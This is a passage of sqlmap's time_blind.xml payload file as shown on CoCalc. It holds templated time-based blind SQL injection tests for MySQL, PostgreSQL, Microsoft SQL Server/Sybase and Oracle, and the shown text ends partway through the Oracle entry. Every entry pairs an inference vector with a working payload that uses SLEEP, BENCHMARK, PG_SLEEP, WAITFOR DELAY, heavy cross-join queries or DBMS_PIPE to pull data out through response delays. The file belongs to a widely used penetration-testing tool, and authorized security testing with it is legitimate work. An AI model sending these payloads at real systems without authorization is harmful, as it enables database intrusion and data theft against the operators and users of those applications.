CoCalc -- time_blind.xml

GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/data/xml/payloads/time_blind.xml
²⁹⁹² views
1
<?xml version="1.0" encoding="UTF-8"?>
2

3
<root>
4
    <!-- Time-based boolean tests -->
5

6
    <!-- Prefering "query SLEEP" over "SLEEP" because of JOIN-alike cases where SLEEPs get called multiple times (e.g. http://testphp.vulnweb.com/listproducts.php?cat=1) -->
7
    <test>
8
        <title>MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)</title>
9
        <stype>5</stype>
10
        <level>1</level>
11
        <risk>1</risk>
12
        <clause>1,2,3,8,9</clause>
13
        <where>1</where>
14
        <vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
15
        <request>
16
            <payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
17
        </request>
18
        <response>
19
            <time>[SLEEPTIME]</time>
20
        </response>
21
        <details>
22
            <dbms>MySQL</dbms>
23
            <dbms_version>&gt;= 5.0.12</dbms_version>
24
        </details>
25
    </test>
26

27
    <test>
28
        <title>MySQL &gt;= 5.0.12 OR time-based blind (query SLEEP)</title>
29
        <stype>5</stype>
30
        <level>1</level>
31
        <risk>3</risk>
32
        <clause>1,2,3,9</clause>
33
        <where>1</where>
34
        <vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
35
        <request>
36
            <payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
37
        </request>
38
        <response>
39
            <time>[SLEEPTIME]</time>
40
        </response>
41
        <details>
42
            <dbms>MySQL</dbms>
43
            <dbms_version>&gt;= 5.0.12</dbms_version>
44
        </details>
45
    </test>
46

47
    <test>
48
        <title>MySQL &gt;= 5.0.12 AND time-based blind (SLEEP)</title>
49
        <stype>5</stype>
50
        <level>2</level>
51
        <risk>1</risk>
52
        <clause>1,2,3,8,9</clause>
53
        <where>1</where>
54
        <vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
55
        <request>
56
            <payload>AND SLEEP([SLEEPTIME])</payload>
57
        </request>
58
        <response>
59
            <time>[SLEEPTIME]</time>
60
        </response>
61
        <details>
62
            <dbms>MySQL</dbms>
63
            <dbms_version>&gt;= 5.0.12</dbms_version>
64
        </details>
65
    </test>
66

67
    <test>
68
        <title>MySQL &gt;= 5.0.12 OR time-based blind (SLEEP)</title>
69
        <stype>5</stype>
70
        <level>2</level>
71
        <risk>3</risk>
72
        <clause>1,2,3,9</clause>
73
        <where>1</where>
74
        <vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
75
        <request>
76
            <payload>OR SLEEP([SLEEPTIME])</payload>
77
        </request>
78
        <response>
79
            <time>[SLEEPTIME]</time>
80
        </response>
81
        <details>
82
            <dbms>MySQL</dbms>
83
            <dbms_version>&gt;= 5.0.12</dbms_version>
84
        </details>
85
    </test>
86

87
    <test>
88
        <title>MySQL &gt;= 5.0.12 AND time-based blind (SLEEP - comment)</title>
89
        <stype>5</stype>
90
        <level>3</level>
91
        <risk>1</risk>
92
        <clause>1,2,3,9</clause>
93
        <where>1</where>
94
        <vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
95
        <request>
96
            <payload>AND SLEEP([SLEEPTIME])</payload>
97
            <comment>#</comment>
98
        </request>
99
        <response>
100
            <time>[SLEEPTIME]</time>
101
        </response>
102
        <details>
103
            <dbms>MySQL</dbms>
104
            <dbms_version>&gt;= 5.0.12</dbms_version>
105
        </details>
106
    </test>
107

108
    <test>
109
        <title>MySQL &gt;= 5.0.12 OR time-based blind (SLEEP - comment)</title>
110
        <stype>5</stype>
111
        <level>3</level>
112
        <risk>3</risk>
113
        <clause>1,2,3,9</clause>
114
        <where>1</where>
115
        <vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
116
        <request>
117
            <payload>OR SLEEP([SLEEPTIME])</payload>
118
            <comment>#</comment>
119
        </request>
120
        <response>
121
            <time>[SLEEPTIME]</time>
122
        </response>
123
        <details>
124
            <dbms>MySQL</dbms>
125
            <dbms_version>&gt;= 5.0.12</dbms_version>
126
        </details>
127
    </test>
128

129
    <test>
130
        <title>MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP - comment)</title>
131
        <stype>5</stype>
132
        <level>3</level>
133
        <risk>1</risk>
134
        <clause>1,2,3,9</clause>
135
        <where>1</where>
136
        <vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
137
        <request>
138
            <payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
139
            <comment>#</comment>
140
        </request>
141
        <response>
142
            <time>[SLEEPTIME]</time>
143
        </response>
144
        <details>
145
            <dbms>MySQL</dbms>
146
            <dbms_version>&gt;= 5.0.12</dbms_version>
147
        </details>
148
    </test>
149

150
    <test>
151
        <title>MySQL &gt;= 5.0.12 OR time-based blind (query SLEEP - comment)</title>
152
        <stype>5</stype>
153
        <level>3</level>
154
        <risk>3</risk>
155
        <clause>1,2,3,9</clause>
156
        <where>1</where>
157
        <vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
158
        <request>
159
            <payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
160
            <comment>#</comment>
161
        </request>
162
        <response>
163
            <time>[SLEEPTIME]</time>
164
        </response>
165
        <details>
166
            <dbms>MySQL</dbms>
167
            <dbms_version>&gt;= 5.0.12</dbms_version>
168
        </details>
169
    </test>
170

171
    <test>
172
        <title>MySQL &lt; 5.0.12 AND time-based blind (BENCHMARK)</title>
173
        <stype>5</stype>
174
        <level>2</level>
175
        <risk>2</risk>
176
        <clause>1,2,3,8,9</clause>
177
        <where>1</where>
178
        <vector>AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
179
        <request>
180
            <payload>AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>
181
        </request>
182
        <response>
183
            <time>[DELAYED]</time>
184
        </response>
185
        <details>
186
            <dbms>MySQL</dbms>
187
            <dbms_version>&lt; 5.0.12</dbms_version>
188
        </details>
189
    </test>
190

191
    <test>
192
        <title>MySQL &gt; 5.0.12 AND time-based blind (heavy query)</title>
193
        <stype>5</stype>
194
        <level>3</level>
195
        <risk>2</risk>
196
        <clause>1,2,3,8,9</clause>
197
        <where>1</where>
198
        <vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
199
        <request>
200
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
201
        </request>
202
        <response>
203
            <time>[DELAYED]</time>
204
        </response>
205
        <details>
206
            <dbms>MySQL</dbms>
207
            <dbms_version>&gt; 5.0.12</dbms_version>
208
        </details>
209
    </test>
210

211
    <test>
212
        <title>MySQL &lt; 5.0.12 OR time-based blind (BENCHMARK)</title>
213
        <stype>5</stype>
214
        <level>2</level>
215
        <risk>3</risk>
216
        <clause>1,2,3,9</clause>
217
        <where>1</where>
218
        <vector>OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
219
        <request>
220
            <payload>OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>
221
        </request>
222
        <response>
223
            <time>[DELAYED]</time>
224
        </response>
225
        <details>
226
            <dbms>MySQL</dbms>
227
            <dbms_version>&lt; 5.0.12</dbms_version>
228
        </details>
229
    </test>
230

231
    <test>
232
        <title>MySQL &gt; 5.0.12 OR time-based blind (heavy query)</title>
233
        <stype>5</stype>
234
        <level>3</level>
235
        <risk>3</risk>
236
        <clause>1,2,3,9</clause>
237
        <where>1</where>
238
        <vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
239
        <request>
240
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
241
        </request>
242
        <response>
243
            <time>[DELAYED]</time>
244
        </response>
245
        <details>
246
            <dbms>MySQL</dbms>
247
            <dbms_version>&gt; 5.0.12</dbms_version>
248
        </details>
249
    </test>
250

251
    <test>
252
        <title>MySQL &lt; 5.0.12 AND time-based blind (BENCHMARK - comment)</title>
253
        <stype>5</stype>
254
        <level>5</level>
255
        <risk>2</risk>
256
        <clause>1,2,3,9</clause>
257
        <where>1</where>
258
        <vector>AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
259
        <request>
260
            <payload>AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>
261
            <comment>#</comment>
262
        </request>
263
        <response>
264
            <time>[DELAYED]</time>
265
        </response>
266
        <details>
267
            <dbms>MySQL</dbms>
268
            <dbms_version>&lt; 5.0.12</dbms_version>
269
        </details>
270
    </test>
271

272
    <test>
273
        <title>MySQL &gt; 5.0.12 AND time-based blind (heavy query - comment)</title>
274
        <stype>5</stype>
275
        <level>5</level>
276
        <risk>2</risk>
277
        <clause>1,2,3,9</clause>
278
        <where>1</where>
279
        <vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
280
        <request>
281
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
282
            <comment>#</comment>
283
        </request>
284
        <response>
285
            <time>[DELAYED]</time>
286
        </response>
287
        <details>
288
            <dbms>MySQL</dbms>
289
            <dbms_version>&gt; 5.0.12</dbms_version>
290
        </details>
291
    </test>
292

293
    <test>
294
        <title>MySQL &lt; 5.0.12 OR time-based blind (BENCHMARK - comment)</title>
295
        <stype>5</stype>
296
        <level>5</level>
297
        <risk>3</risk>
298
        <clause>1,2,3,9</clause>
299
        <where>1</where>
300
        <vector>OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
301
        <request>
302
            <payload>OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>
303
            <comment>#</comment>
304
        </request>
305
        <response>
306
            <time>[DELAYED]</time>
307
        </response>
308
        <details>
309
            <dbms>MySQL</dbms>
310
            <dbms_version>&lt; 5.0.12</dbms_version>
311
        </details>
312
    </test>
313

314
    <test>
315
        <title>MySQL &gt; 5.0.12 OR time-based blind (heavy query - comment)</title>
316
        <stype>5</stype>
317
        <level>5</level>
318
        <risk>3</risk>
319
        <clause>1,2,3,9</clause>
320
        <where>1</where>
321
        <vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
322
        <request>
323
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
324
            <comment>#</comment>
325
        </request>
326
        <response>
327
            <time>[DELAYED]</time>
328
        </response>
329
        <details>
330
            <dbms>MySQL</dbms>
331
            <dbms_version>&gt; 5.0.12</dbms_version>
332
        </details>
333
    </test>
334

335
    <test>
336
        <title>MySQL &gt;= 5.0.12 RLIKE time-based blind</title>
337
        <stype>5</stype>
338
        <level>2</level>
339
        <risk>1</risk>
340
        <clause>1,2,3,9</clause>
341
        <where>1</where>
342
        <vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
343
        <request>
344
            <payload>RLIKE SLEEP([SLEEPTIME])</payload>
345
        </request>
346
        <response>
347
            <time>[SLEEPTIME]</time>
348
        </response>
349
        <details>
350
            <dbms>MySQL</dbms>
351
            <dbms_version>&gt;= 5.0.12</dbms_version>
352
        </details>
353
    </test>
354

355
    <test>
356
        <title>MySQL &gt;= 5.0.12 RLIKE time-based blind (comment)</title>
357
        <stype>5</stype>
358
        <level>4</level>
359
        <risk>1</risk>
360
        <clause>1,2,3,9</clause>
361
        <where>1</where>
362
        <vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
363
        <request>
364
            <payload>RLIKE SLEEP([SLEEPTIME])</payload>
365
            <comment>#</comment>
366
        </request>
367
        <response>
368
            <time>[SLEEPTIME]</time>
369
        </response>
370
        <details>
371
            <dbms>MySQL</dbms>
372
            <dbms_version>&gt;= 5.0.12</dbms_version>
373
        </details>
374
    </test>
375

376
     <test>
377
        <title>MySQL &gt;= 5.0.12 RLIKE time-based blind (query SLEEP)</title>
378
        <stype>5</stype>
379
        <level>3</level>
380
        <risk>1</risk>
381
        <clause>1,2,3,9</clause>
382
        <where>1</where>
383
        <vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
384
        <request>
385
            <payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
386
        </request>
387
        <response>
388
            <time>[SLEEPTIME]</time>
389
        </response>
390
        <details>
391
            <dbms>MySQL</dbms>
392
             <dbms_version>&gt;= 5.0.12</dbms_version>
393
       </details>
394
    </test>
395

396
    <test>
397
        <title>MySQL &gt;= 5.0.12 RLIKE time-based blind (query SLEEP - comment)</title>
398
        <stype>5</stype>
399
        <level>4</level>
400
        <risk>1</risk>
401
        <clause>1,2,3,9</clause>
402
        <where>1</where>
403
        <vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
404
        <request>
405
            <payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
406
            <comment>#</comment>
407
        </request>
408
        <response>
409
            <time>[SLEEPTIME]</time>
410
        </response>
411
        <details>
412
            <dbms>MySQL</dbms>
413
            <dbms_version>&gt;= 5.0.12</dbms_version>
414
        </details>
415
    </test>
416

417
    <test>
418
        <title>MySQL AND time-based blind (ELT)</title>
419
        <stype>5</stype>
420
        <level>3</level>
421
        <risk>1</risk>
422
        <clause>1,2,3,8,9</clause>
423
        <where>1</where>
424
        <vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
425
        <request>
426
            <payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
427
        </request>
428
        <response>
429
            <time>[SLEEPTIME]</time>
430
        </response>
431
        <details>
432
            <dbms>MySQL</dbms>
433
            <dbms_version>&gt;= 5.0.12</dbms_version>
434
        </details>
435
    </test>
436

437
    <test>
438
        <title>MySQL OR time-based blind (ELT)</title>
439
        <stype>5</stype>
440
        <level>3</level>
441
        <risk>3</risk>
442
        <clause>1,2,3,9</clause>
443
        <where>1</where>
444
        <vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
445
        <request>
446
            <payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
447
        </request>
448
        <response>
449
            <time>[SLEEPTIME]</time>
450
        </response>
451
        <details>
452
            <dbms>MySQL</dbms>
453
        </details>
454
    </test>
455

456
    <test>
457
        <title>MySQL AND time-based blind (ELT - comment)</title>
458
        <stype>5</stype>
459
        <level>5</level>
460
        <risk>1</risk>
461
        <clause>1,2,3,9</clause>
462
        <where>1</where>
463
        <vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
464
        <request>
465
            <payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
466
            <comment>#</comment>
467
        </request>
468
        <response>
469
            <time>[SLEEPTIME]</time>
470
        </response>
471
        <details>
472
            <dbms>MySQL</dbms>
473
        </details>
474
    </test>
475

476
    <test>
477
        <title>MySQL OR time-based blind (ELT - comment)</title>
478
        <stype>5</stype>
479
        <level>5</level>
480
        <risk>3</risk>
481
        <clause>1,2,3,9</clause>
482
        <where>1</where>
483
        <vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
484
        <request>
485
            <payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
486
            <comment>#</comment>
487
        </request>
488
        <response>
489
            <time>[SLEEPTIME]</time>
490
        </response>
491
        <details>
492
            <dbms>MySQL</dbms>
493
        </details>
494
    </test>
495

496
    <test>
497
        <title>PostgreSQL &gt; 8.1 AND time-based blind</title>
498
        <stype>5</stype>
499
        <level>1</level>
500
        <risk>1</risk>
501
        <clause>1,2,3,8,9</clause>
502
        <where>1</where>
503
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
504
        <request>
505
            <payload>AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))</payload>
506
        </request>
507
        <response>
508
            <time>[SLEEPTIME]</time>
509
        </response>
510
        <details>
511
            <dbms>PostgreSQL</dbms>
512
            <dbms_version>&gt; 8.1</dbms_version>
513
        </details>
514
    </test>
515

516
    <test>
517
        <title>PostgreSQL &gt; 8.1 OR time-based blind</title>
518
        <stype>5</stype>
519
        <level>1</level>
520
        <risk>3</risk>
521
        <clause>1,2,3,9</clause>
522
        <where>1</where>
523
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
524
        <request>
525
            <payload>OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))</payload>
526
        </request>
527
        <response>
528
            <time>[SLEEPTIME]</time>
529
        </response>
530
        <details>
531
            <dbms>PostgreSQL</dbms>
532
            <dbms_version>&gt; 8.1</dbms_version>
533
        </details>
534
    </test>
535

536
    <test>
537
        <title>PostgreSQL &gt; 8.1 AND time-based blind (comment)</title>
538
        <stype>5</stype>
539
        <level>4</level>
540
        <risk>1</risk>
541
        <clause>1,2,3,9</clause>
542
        <where>1</where>
543
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
544
        <request>
545
            <payload>AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))</payload>
546
            <comment>--</comment>
547
        </request>
548
        <response>
549
            <time>[SLEEPTIME]</time>
550
        </response>
551
        <details>
552
            <dbms>PostgreSQL</dbms>
553
            <dbms_version>&gt; 8.1</dbms_version>
554
        </details>
555
    </test>
556

557
    <test>
558
        <title>PostgreSQL &gt; 8.1 OR time-based blind (comment)</title>
559
        <stype>5</stype>
560
        <level>4</level>
561
        <risk>3</risk>
562
        <clause>1,2,3,9</clause>
563
        <where>1</where>
564
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
565
        <request>
566
            <payload>OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))</payload>
567
            <comment>--</comment>
568
        </request>
569
        <response>
570
            <time>[SLEEPTIME]</time>
571
        </response>
572
        <details>
573
            <dbms>PostgreSQL</dbms>
574
            <dbms_version>&gt; 8.1</dbms_version>
575
        </details>
576
    </test>
577

578
    <test>
579
        <title>PostgreSQL AND time-based blind (heavy query)</title>
580
        <stype>5</stype>
581
        <level>2</level>
582
        <risk>2</risk>
583
        <clause>1,2,3,8,9</clause>
584
        <where>1</where>
585
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
586
        <request>
587
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))</payload>
588
        </request>
589
        <response>
590
            <time>[DELAYED]</time>
591
        </response>
592
        <details>
593
            <dbms>PostgreSQL</dbms>
594
        </details>
595
    </test>
596

597
    <test>
598
        <title>PostgreSQL OR time-based blind (heavy query)</title>
599
        <stype>5</stype>
600
        <level>2</level>
601
        <risk>3</risk>
602
        <clause>1,2,3,9</clause>
603
        <where>1</where>
604
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
605
        <request>
606
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))</payload>
607
        </request>
608
        <response>
609
            <time>[DELAYED]</time>
610
        </response>
611
        <details>
612
            <dbms>PostgreSQL</dbms>
613
        </details>
614
    </test>
615

616
    <test>
617
        <title>PostgreSQL AND time-based blind (heavy query - comment)</title>
618
        <stype>5</stype>
619
        <level>5</level>
620
        <risk>2</risk>
621
        <clause>1,2,3,9</clause>
622
        <where>1</where>
623
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
624
        <request>
625
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))</payload>
626
            <comment>--</comment>
627
        </request>
628
        <response>
629
            <time>[DELAYED]</time>
630
        </response>
631
        <details>
632
            <dbms>PostgreSQL</dbms>
633
        </details>
634
    </test>
635

636
    <test>
637
        <title>PostgreSQL OR time-based blind (heavy query - comment)</title>
638
        <stype>5</stype>
639
        <level>5</level>
640
        <risk>3</risk>
641
        <clause>1,2,3,9</clause>
642
        <where>1</where>
643
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
644
        <request>
645
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))</payload>
646
            <comment>--</comment>
647
        </request>
648
        <response>
649
            <time>[DELAYED]</time>
650
        </response>
651
        <details>
652
            <dbms>PostgreSQL</dbms>
653
        </details>
654
    </test>
655

656
    <test>
657
        <title>Microsoft SQL Server/Sybase time-based blind (IF)</title>
658
        <stype>5</stype>
659
        <level>1</level>
660
        <risk>1</risk>
661
        <clause>0</clause>
662
        <where>1</where>
663
        <vector>IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
664
        <request>
665
            <payload>WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
666
        </request>
667
        <response>
668
            <time>[SLEEPTIME]</time>
669
        </response>
670
        <details>
671
            <dbms>Microsoft SQL Server</dbms>
672
            <dbms>Sybase</dbms>
673
        </details>
674
    </test>
675

676
    <test>
677
        <title>Microsoft SQL Server/Sybase time-based blind (IF - comment)</title>
678
        <stype>5</stype>
679
        <level>4</level>
680
        <risk>1</risk>
681
        <clause>0</clause>
682
        <where>1</where>
683
        <vector>IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
684
        <request>
685
            <payload>WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
686
            <comment>--</comment>
687
        </request>
688
        <response>
689
            <time>[SLEEPTIME]</time>
690
        </response>
691
        <details>
692
            <dbms>Microsoft SQL Server</dbms>
693
            <dbms>Sybase</dbms>
694
        </details>
695
    </test>
696

697
    <test>
698
        <title>Microsoft SQL Server/Sybase AND time-based blind (heavy query)</title>
699
        <stype>5</stype>
700
        <level>2</level>
701
        <risk>2</risk>
702
        <clause>1,2,3,8,9</clause>
703
        <where>1</where>
704
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)</vector>
705
        <request>
706
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)</payload>
707
        </request>
708
        <response>
709
            <time>[DELAYED]</time>
710
        </response>
711
        <details>
712
            <dbms>Microsoft SQL Server</dbms>
713
            <dbms>Sybase</dbms>
714
        </details>
715
    </test>
716

717
    <test>
718
        <title>Microsoft SQL Server/Sybase OR time-based blind (heavy query)</title>
719
        <stype>5</stype>
720
        <level>2</level>
721
        <risk>3</risk>
722
        <clause>1,2,3,9</clause>
723
        <where>1</where>
724
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)</vector>
725
        <request>
726
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)</payload>
727
        </request>
728
        <response>
729
            <time>[DELAYED]</time>
730
        </response>
731
        <details>
732
            <dbms>Microsoft SQL Server</dbms>
733
            <dbms>Sybase</dbms>
734
        </details>
735
    </test>
736

737
    <test>
738
        <title>Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment)</title>
739
        <stype>5</stype>
740
        <level>5</level>
741
        <risk>2</risk>
742
        <clause>1,2,3,9</clause>
743
        <where>1</where>
744
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)</vector>
745
        <request>
746
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)</payload>
747
            <comment>--</comment>
748
        </request>
749
        <response>
750
            <time>[DELAYED]</time>
751
        </response>
752
        <details>
753
            <dbms>Microsoft SQL Server</dbms>
754
            <dbms>Sybase</dbms>
755
        </details>
756
    </test>
757

758
    <test>
759
        <title>Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment)</title>
760
        <stype>5</stype>
761
        <level>5</level>
762
        <risk>3</risk>
763
        <clause>1,2,3,9</clause>
764
        <where>1</where>
765
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)</vector>
766
        <request>
767
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)</payload>
768
            <comment>--</comment>
769
        </request>
770
        <response>
771
            <time>[DELAYED]</time>
772
        </response>
773
        <details>
774
            <dbms>Microsoft SQL Server</dbms>
775
            <dbms>Sybase</dbms>
776
        </details>
777
    </test>
778

779
    <test>
780
        <title>Oracle AND time-based blind</title>
781
        <stype>5</stype>
782
        <level>1</level>
783
        <risk>1</risk>
784
        <clause>1,2,3,9</clause>
785
        <where>1</where>
786
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector>
787
        <request>
788
            <payload>AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload>
789
        </request>
790
        <response>
791
